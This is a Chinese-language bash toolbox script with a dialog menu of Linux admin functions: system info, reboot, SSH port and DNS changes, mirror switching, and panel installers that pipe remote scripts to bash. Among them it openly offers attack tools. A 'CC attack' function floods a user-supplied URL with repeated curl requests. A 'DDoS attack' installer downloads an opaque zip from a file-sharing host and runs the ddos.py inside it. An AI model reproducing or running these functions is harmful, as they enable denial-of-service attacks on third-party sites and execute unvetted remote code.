#!/bin/bash
#本脚本由NAS油条制作


# 检查包管理器的函数
check_package_manager() {
    clear
    if command -v pkg >/dev/null 2>&1; then
        sys="(Termux终端)"
        PACKAGE_MANAGER="pkg"
        USE_SUDO=false
    elif command -v apt-get >/dev/null 2>&1; then
        sys="(Debian/Ubuntu 系列)"
        PACKAGE_MANAGER="apt"
        USE_SUDO=true
    elif command -v yum >/dev/null 2>&1; then
        sys="(RHEL/CentOS 7 及更早版本)"
        PACKAGE_MANAGER="yum"
        USE_SUDO=true
    elif command -v dnf >/dev/null 2>&1; then
        sys="(Fedora/RHEL/CentOS 8 及更高版本)"
        PACKAGE_MANAGER="dnf"
        USE_SUDO=true
    elif command -v pacman >/dev/null 2>&1; then
        sys="(Arch Linux 系列)"
        PACKAGE_MANAGER="pacman"
        USE_SUDO=true
    elif command -v zypper >/dev/null 2>&1; then
        sys="(openSUSE 系列)"
        PACKAGE_MANAGER="zypper"
        USE_SUDO=true

    else
        echo ">_<未检测到支持的系统。"
        exit 1
    fi
}



#变量
tempfile=$(mktemp 2>/dev/null) || tempfile=/tmp/test$$
uptime=$(uptime -p) #原版命令变量
uptime_cn=$(echo $uptime | sed 's/up/已运行/; s/hour/时/; s/minutes/分/; s/day/天/; s/months/月/')
server_ip=$(hostname -I)

#函数
server_ip() {
echo "当前IP为: $server_ip"
}
uptime_cn() {
echo "系统已运行: $uptime_cn"
}
br() {
echo -e "\e[1;34m------------------\e[0m"
}
esc() {
read -p "按回车键继续..."
}

cw() {
echo "无效的输入。";esc
}


#检查本脚本是否安装
check_Script_Install() {
if command -v nasyt &> /dev/null
then
    echo "nasyt脚本 已经安装，跳过安装步骤。"
else 
    echo "未安装nasyt脚本到bin目录(无影响)"
fi
br
read -p "回车键启动脚本,Ctrl+C退出"
}


#主菜单
show_menu() {
dialog --title "NAS油条Linux工具箱" \
--menu "当前版本:v2.14\n2025年4月13日更新\n本工具箱由NAS油条制作\nQQ群:610699712\n请选择你要启动的项目：" \
0 0 10 \
1 "系统查看菜单" \
2 "系统常用菜单" \
3 "网络常用工具" \
4 "安装常用工具" \
5 "各种服务器脚本" \
6 ">_<更新此脚本>_<" \
7 "更新日志" \
0 "退出脚本" \
2> $tempfile
choice=$(cat $tempfile)
#
}


#查看菜单
look_menu() {
  clear
  br
  echo "1) 系统运行时间"
  echo "2) 配置信息"
  echo "3) 本机IP"
  echo "4) 系统log"
  echo "0) 返回上层"
  
}

# 系统操作菜单
system_menu() {
    clear
    br
    echo "1. 一键重启服务器"
    echo "2. 一键修改密码"
    echo "3. 一键同步上海时间"
    echo "4. 一键修改SSH端口"
    echo "5. 一键修改DNS"
    echo "6. 一键开启/关闭SSH登录"
    echo "7. 一键更新CentOS最新版系统"
    echo "8. 一键更新Ubuntu最新版系统"
    echo "9. 一键更新Debian最新版系统"
    echo "0. 返回上级菜单"
    br
}
#安装常用工具。
often_tool() {
clear
br
echo "1) 安装Alist多储存资源盘"
echo "2) 安装BT宝塔面板"
echo "3) 安装AMH面板"
echo "4) 安装MCSManager面板"
echo "5) 安装cpolar内网穿透"
echo "6) 安装DDOS攻击"
echo "0) 返回上层菜单"
br
}

#网络常用工具
Internet_tool() {
clear
br
echo "1) ping工具"
echo "2) CC攻击"
echo "0) 返回上层菜单"
br
}

#各种服务器脚本。
Linux_shell () {
clear
br
echo "1) 亚洲云LinuxTool脚本工具"
echo "2) 木空云LinuxTool脚本工具"
echo "0) 返回上层菜单"
br
}


#废弃
csh() {
clear
echo 安装curl git dialog中
apt install curl git dialog -y
echo 安装完成
esc
}



#ping命令
ping2() {
read -p "请输入ping地址: " ping
ping $ping
}

#CC攻击命令
cc() {
echo "无"
}

#cpolar内网穿透一键安装。
cpolar_instell() {
echo "选择你的框架"
echo "1) AMD通用安装"
echo "2) Aarch64(无)"
echo "0) 退出"
read -p "请输入选项（1-2）: " opt
case $opt in
1) curl -L https://www.cpolar.com/static/downloads/install-release-cpolar.sh | sudo bash ;;
2) bash nasyt-linux-tool/cpolar/aarch64.sh ;;
0) exit 1 ;;
*) echo "无效的输入。";esc;;
esac
sleep 1s
echo "脚本结束。"
}

#CC攻击详细。
cc() {
echo ----CC攻击----
read -p "请输入攻击地址" url
read -p "请输入攻击数量:" sl
echo 正在攻击ing...
for ((i=0; i<$sl; i++)); do

curl -s $url > /dev/null

done
echo "CC攻击完成"
}

#更新此脚本
gx() {

echo "正在删除原脚本。";rm /usr/bin/nasyt
echo "正在更新脚本。"
if [ $PACKAGE_MANAGER = pkg ]; then
   echo "检测到 Termux 环境，正在更新"
   curl -o nasyt.sh nasyt.class2.icu/shell/nasyt.sh
   chmod 777 nasyt.sh
   read -p "更新完成"
   clear
else
   echo "检测到 Linux 环境，正在更新"
   echo "正在下载脚本。"
   sudo curl -o /usr/bin/nasyt nasyt.class2.icu/shell/nasyt.sh
   echo "正在给予脚本权限。";sudo chmod 777 /usr/bin/nasyt
   echo "启动命令为nasyt"
   read -p "更新成功,请Ctrl+C重新进入"
fi
}

#历史更新版本。
gx_log() {
br
echo "2025年4日13日更新v2.14版"
echo "2025年3日30日更新v2.13版"
echo "2025年3日22日更新v2.12版"
echo "2025年3月21日更新v2.1 版"
br
}

#DDOS攻击安装
ddos() {
cd ddos;python ddos.py
read "按回车后开始安装。";clear
echo 切换清华下载源;sed -i 's@^\(deb.*stable main\)$@#\1\ndeb https://mirrors.tuna.tsinghua.edu.cn/termux/termux-packages-24 stable main@' $PREFIX/etc/apt/sources.list;clear
echo 更新资源中;apt update -y && apt upgrade -y;echo 更新完成;clear
echo "正在安装 figlet";apt install figlet;clear
echo "正在安装 python";echo 途中可能会停止请输入y继续
echo "等的时间可能有点长,请耐心等待。";pkg install python -y;clear
echo "正在安装 ddos";curl -o ddos.zip https://cccimg.com/down.php/576c81c114e3a3c1b3e702bd19117594.zip;unzip ddos.zip;clear
echo "清理安装包中";rm ddos.zip
echo "以后请输入以下命令启动";echo python ddos/ddos.py;read -p "回车键继续"
cd ddos;python ddos.py
}


# 函数：显示服务器配置信息
show_server_config() {
    clear
    echo "=== 服务器配置信息 ==="
    echo "CPU核心数:"
    lscpu | grep -w "CPU(s):" | grep -v "\-"
    lscpu | grep -w "Model name:"
    echo "CPU频率:"
    lscpu | grep -w "CPU MHz"
    echo "虚拟化类型:"
    lscpu | grep -w "Hypervisor vendor:"
   echo "系统版本:"
    if [ -f /etc/lsb-release ]; then
        . /etc/lsb-release
        echo "Ubuntu $DISTRIB_RELEASE"
    elif [ -f /etc/debian_version ]; then
        DEBIAN_VERSION=$(cat /etc/debian_version)
        echo "Debian $DEBIAN_VERSION"
    elif [ -f /etc/centos-release ]; then
        CENTOS_VERSION=$(cat /etc/centos-release)
        echo "CentOS $CENTOS_VERSION"
    else
        echo "无法识别的系统类型"
    fi
    echo "内存信息:"
    free -h
    echo "硬盘信息:"
    df -h
}


ifneofetch(){
if command -v neofetch &> /dev/null
then
    echo "neofetch 已安装，跳过安装步骤。"
    neofetch
    read -p "回车键返回。"
else
    echo "正在安装neofetch"
    apt install neofetch -y
    echo "neofetch安装完成"
fi

}


# 重启服务器
restart_server() {
    read -p "确认要重启服务器吗？(y/n): " confirm
    if [[ $confirm == [yY] ]]; then
        echo "正在重启服务器..."
        # 在这里添加重启服务器的命令
        sudo reboot
    else
        echo "取消重启服务器"
    fi
}

# 一键修改密码
change_password() {
    username=$(whoami)
    sudo passwd "$username"
    echo "密码已成功修改。"
}

# 函数：显示服务器地理位置
show_server_location() {
    curl ipinfo.io
}

# 函数：显示服务器地理位置（中文）
show_server_location2() {
    curl iplark.com
}



# 同步上海时间函数
sync_shanghai_time() {
    install_ntpdate
    echo "正在同步上海时间..."
    sudo timedatectl set-timezone Asia/Shanghai
    sudo ntpdate cn.pool.ntp.org
    echo "时间同步完成。"
}

# 一键修改 SSH 端口
change_ssh_port() {
    read -p "请输入新的 SSH 端口: " new_port
    sed -i "s/Port [0-9]*/Port $new_port/" /etc/ssh/sshd_config
    systemctl restart sshd
    echo "SSH 端口已修改为 $new_port"
}

# 函数：一键修改DNS1和DNS2
function set_dns() {
    read -p "请输入新的DNS服务器地址: " dns_server
    if [[ -f /etc/redhat-release ]]; then
        # CentOS
        echo "nameserver $dns_server" | sudo tee /etc/resolv.conf >/dev/null
        echo "DNS服务器已修改为 $dns_server"
    elif [[ -f /etc/lsb-release ]]; then
        # Ubuntu
        sudo sed -i "s/nameserver .*/nameserver $dns_server/" /etc/resolv.conf
        echo "DNS服务器已修改为 $dns_server"
    elif [[ -f /etc/debian_version ]]; then
        # Debian
        sudo sed -i "s/nameserver .*/nameserver $dns_server/" /etc/resolv.conf
        echo "DNS服务器已修改为 $dns_server"
    else
        echo "不支持的操作系统"
    fi
}




# 一键更新 CentOS 最新版系统
update_centos() {
    read -p "确认要更新 CentOS 最新版系统吗？(y/n): " confirm
    if [[ $confirm == [yY] ]]; then
        echo "正在更新 CentOS 最新版系统..."
        # 在这里添加更新 CentOS 的命令
        sudo yum update
        echo "CentOS 最新版系统更新完成"
        reboot
    else
        echo "取消更新 CentOS 最新版系统"
    fi
}

# 一键更新 Ubuntu 最新版系统
update_ubuntu() {
    read -p "确认要更新 Ubuntu 最新版系统吗？(y/n): " confirm
    if [[ $confirm == [yY] ]]; then
        echo "正在更新 Ubuntu 最新版系统..."
        # 在这里添加更新 Ubuntu 的命令
        sudo apt update
        sudo apt upgrade -y
        echo "Ubuntu 最新版系统更新完成"
        reboot
    else
        echo "取消更新 Ubuntu 最新版系统"
    fi
}



# 函数：切换KSM状态
toggle_ksm() {
    ksm_status=$(cat /sys/kernel/mm/ksm/run)
    if [ $ksm_status -eq 0 ]; then
        /bin/systemctl start ksm
        /bin/systemctl start ksmtuned
        cat /sys/kernel/mm/ksm/run
        echo "KSM内存回收已开启。"
    else
        /bin/systemctl stop ksmtuned
        /bin/systemctl stop ksm
        echo 0 > /sys/kernel/mm/ksm/run
        echo "KSM内存回收已关闭。"
    fi
}

# 一键更新 Debian 最新版系统
update_debian() {
    read -p "确认要更新 Debian 最新版系统吗？(y/n): " confirm
    if [[ $confirm == [yY] ]]; then
        echo "正在更新 Debian 最新版系统..."
        # 在这里添加更新 Debian 的命令
        sudo apt update
        sudo apt upgrade -y
        echo "Debian 最新版系统更新完成"
        reboot
    else
        echo "取消更新 Debian 最新版系统"
    fi
}



# 更换CentOS 7源为阿里云源的函数
change_centos_to_aliyun() {
    if [ -f /etc/yum.repos.d/CentOS-Base.repo ]; then
        echo "正在更换CentOS的源为阿里云源..."
        sudo cp /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup
        cat << 'EOF' | sudo tee /etc/yum.repos.d/CentOS-Base.repo
[base]
name=CentOS-$releasever - Base - 阿里云镜像
baseurl=http://mirrors.aliyun.com/centos/$releasever/os/$basearch/
gpgcheck=1
gpgkey=http://mirrors.aliyun.com/centos/RPM-GPG-KEY-CentOS-7

# 可选的，添加阿里云的额外源
[extras]
name=CentOS-$releasever - Extras - 阿里云镜像
baseurl=http://mirrors.aliyun.com/centos/$releasever/extras/$basearch/
gpgcheck=1
gpgkey=http://mirrors.aliyun.com/centos/RPM-GPG-KEY-CentOS-7

# 可选的，添加阿里云的更新源
[updates]
name=CentOS-$releasever - Updates - 阿里云镜像
baseurl=http://mirrors.aliyun.com/centos/$releasever/updates/$basearch/
gpgcheck=1
gpgkey=http://mirrors.aliyun.com/centos/RPM-GPG-KEY-CentOS-7
EOF
        sudo yum clean all
        sudo yum makecache
        echo "CentOS源更换完成。"
    else
        echo "CentOS源配置文件不存在。"
    fi
}

# 更换Ubuntu 20.04源为阿里云源的函数
change_ubuntu_to_aliyun() {
    if [ -f /etc/apt/sources.list ]; then
        echo "正在更换Ubuntu的源为阿里云源..."
        sudo cp /etc/apt/sources.list /etc/apt/sources.list.backup
        sudo sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
        sudo sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
        echo "Ubuntu源更换完成。"
    else
        echo "Ubuntu源配置文件不存在。"
    fi
}



# 更换Debian源为阿里云源的函数
change_debian_to_aliyun() {
    if [ -f /etc/apt/sources.list ]; then
        echo "正在更换Debian的源为阿里云源..."
        sudo cp /etc/apt/sources.list /etc/apt/sources.list.backup
        sudo sed -i 's|http://[^ ]*|http://mirrors.aliyun.com|' /etc/apt/sources.list
        echo "Debian源更换完成。"
    else
        echo "Debian源配置文件不存在。"
    fi
}








# 获取操作系统信息的函数
get_os_info() {
    br
    if [ -f /etc/os-release ]; then
        . /etc/os-release
        echo "操作系统: $PRETTY_NAME"
        echo "ID: $ID"
        echo "版本: $VERSION_ID"
    elif command -v termux-info >/dev/null 2>&1; then
        echo "操作系统: Android (Termux)"
        echo "当前系统: $sys"
        echo "通过 termux-info 获取更多信息:"
        echo "请输入termux-info查看"
    else
        echo "无法获取操作系统信息。"
    fi
    br
}

#提示
point_out() {
get_os_info # 获取操作系统信息的函数
}


#检查
introduce(){
check_package_manager #检查包管理器。
point_out #提示
check_Script_Install #检查本脚本是否安装。
}


#开始
introduce #检查
while true
do
show_menu  #主菜单
case $choice in
       csh)
          csh;;
          #工具箱初始化
       1)
          #查看功能
          while true
          do
          look_menu
          read -p "请输入选项: " csh_xz
          case $csh_xz in
              1) uptime_cn;esc;;
              2) clear;show_server_config;esc;;
              3) server_ip;esc;;
              4) ifneofetch;;
              0) break;;
              *) cw;;
            esac
          done
          ;;
       2)
          while true
            do
              system_menu
              read -p "请输入选项: " system_choice
                case $system_choice in
                    1) restart_server;;
                    2) change_password;;
                    3) sync_shanghai_time;;
                    4) change_ssh_port;;
                    5) set_dns;;
                    6) toggle_ssh;;
                    7) update_centos;;
                    8) update_ubuntu;;
                    9) update_debian;;
                    0) break;;
                    *) echo "无效的输入。";;
                esac
            done
          ;;
       3)
          while true
          do
          Internet_tool
          read -p "请输入选项: " Internet_tool
             case $Internet_tool in
               1) ping2;;
               2) cc;;
               0) break;;
               *) echo "无效的输入";esc
             esac
          done
          ;;
       4)
          while true
          do
            often_tool
            read -p "请输入选项: " often_tool
              case $often_tool in
                1) curl -fsSL "https://alist.nn.ci/v3.sh" -o v3.sh && bash v3.sh;;
                2) if [ -f /usr/bin/curl ];then curl -sSO https://download.bt.cn/install/install_panel.sh;else wget -O install_panel.sh https://download.bt.cn/install/install_panel.sh;fi;bash install_panel.sh ed8484bec;read -p "安装bt完成 回车键返回。";;
                3) wget http://dl.amh.sh/amh.sh && bash amh.sh acc 48677;esc;;
                4) sudo su -c "wget -qO- https://script.mcsmanager.com/setup_cn.sh | bash";esc;;
                5) cpolar_instell;esc;;
                6) ddos;esc;;
                0) break;;
                *) echo "无效的输入。";esc;;
              esac
            done
            ;;
       5)
          while true
          do
             Linux_shell
             read -p "请选择:" Linux_shell_xz
             case $Linux_shell_xz in
                1) curl -L https://gitee.com/krhzj/LinuxTool/raw/main/Linux.sh -o Linux.sh && chmod +x Linux.sh && bash Linux.sh;;
                2) echo "暂无";esc;;
                0) break;;
                *) echo "无效的输入。";esc;;
             esac
          done
          ;;
       6) 
          gx #脚本更新
          esc
          ;;
       7)
         gx_log #更新日志
         esc
         ;;
       0)
          #退出循环
          break;clear;;
       *) echo "无效的输入。";esc;;
     esac
done